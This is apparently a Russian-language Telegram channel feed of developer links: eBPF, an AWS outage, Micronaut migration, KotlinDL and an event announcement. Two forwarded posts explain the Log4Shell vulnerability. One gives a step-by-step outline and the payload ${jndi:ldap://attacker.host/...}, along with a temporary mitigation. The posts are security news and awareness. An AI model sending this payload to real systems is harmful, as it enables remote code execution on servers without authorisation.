Полезняшки от "Разбора Полетов"

How eBPF will solve Service Mesh - Goodbye Sidecars

https://isovalent.com/blog/post/2021-12-08-ebpf-servicemesh

#ebpf #servicemesh #debug #tracing #k8s #kubernetes

465 views07:10

Forwarded from Artjom Kalita

https://www.lunasec.io/docs/blog/log4j-zero-day/

674 views09:13

Полезняшки от "Разбора Полетов"

Почти 10 минут

👍1

646 views15:48

Полезняшки от "Разбора Полетов"

Forwarded from Полезняшки от "Разбора Полетов"

Встречаемся на ночном образовательном шоу IT Nights 3.0

10 декабря в прямом эфире @JBaruch обещает исповедоваться, а @asm0dey предстоит отстоять честь славного дома Котлин. Ещё будут спикеры из Facebook, Яндекса, VK, X5 Group с другими заданиями. Самое прекрасное, что зрители смогут влиять на происходящее в кадре!

Запоминай:
• 10 декабря в 19:00
• it-nights.ru
• промокод: razborpoletov

Чего бы ты ни ждал — будет иначе 👀

428 views15:48

Полезняшки от "Разбора Полетов"

Forwarded from Кавычка (Bo0oM)

У половины интернета нашли выполнение произвольного кода через Log4j.

Выглядит это так:

1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.

Гроб. Гроб. Кладбище.
Временный фикс: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”

Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).

485 views19:06

Полезняшки от "Разбора Полетов"

Amazon explains outage that took out a large chunk of the internet
https://www.engadget.com/amazon-aws-outage-explanation-214151710.html?src=rss

Engadget

Amazon explains outage that took out a large chunk of the internet | Engadget

Amazon has explained the AWS outage that knocked a large part of the internet offline, and promised an easier time tracking those failures..

727 views22:44

Полезняшки от "Разбора Полетов"

Why Can't Programmers.. Program? (2007)
https://blog.codinghorror.com/why-cant-programmers-program/

Coding Horror

Why Can’t Programmers... Program?

I was incredulous when I read this observation from Reginald Braithwaite:

Like me, the author is having trouble with the fact that 199 out of 200 applicants for every programming job can’t write code at all. I repeat: they can’t write any code whatsoever.…

702 views14:01

Полезняшки от "Разбора Полетов"

[Перевод] Прощай, Grails. Привет, Micronaut. Продолжение
https://habr.com/ru/company/otus/blog/593965/

Хабр

Прощай, Grails. Привет, Micronaut. Продолжение

Это вторая статья из цикла о миграции из Grails в Micronaut. Обратите внимание: ваше приложение должно быть создано в Grails 4.x или более поздней версии . Всего в цикле публикаций о миграции из...

👍1

670 views08:55

Полезняшки от "Разбора Полетов"

Всё из коробки
https://github.com/theonedev/onedev/wiki/6.0

GitHub

6.0

Super Easy All-In-One DevOps Platform. Contribute to theonedev/onedev development by creating an account on GitHub.

656 views13:00

Полезняшки от "Разбора Полетов"

Forwarded from IT Юмор

Недавно в Apache Log4j 2, популярном фреймворке для организации ведения логов в Java-приложениях, была выявлена критическая уязвимость.

Она позволяет выполнить произвольный код при записи в лог специально оформленного значения в формате "{jndi:URL}". Атака может быть проведена на Java-приложения, записывающие в лог значения, полученные из внешних источников, например, при выводе проблемных значений в сообщениях об ошибках.

Поэтому держите парочку мемов на эту тему

490 views21:45

Полезняшки от "Разбора Полетов"

Upgrading dependencies doesn’t have to suck
https://t.me/iv?url=https://medium.com/@connorbutch/upgrading-dependencies-doesnt-have-to-suck-8d5b2b767d58&rhash=f5b2f9872995e4

Medium

Upgrading dependencies doesn’t have to suck

A painless, automated process for upgrading dependencies

649 views07:40

Полезняшки от "Разбора Полетов"

Сегодня будет весьма интересный вебинарчик про KotlinDL https://info.jetbrains.com/kotlin-webinar-december14-2021.html

YouTube

Object Detection and Image Recognition with Kotlin

In this webinar, we will explore a deep learning library written in Kotlin, learn how to detect objects of different types in images, build predictive models on numeric data, and create a Kotlin Web Application using Ktor and KotlinDL, which will recognize…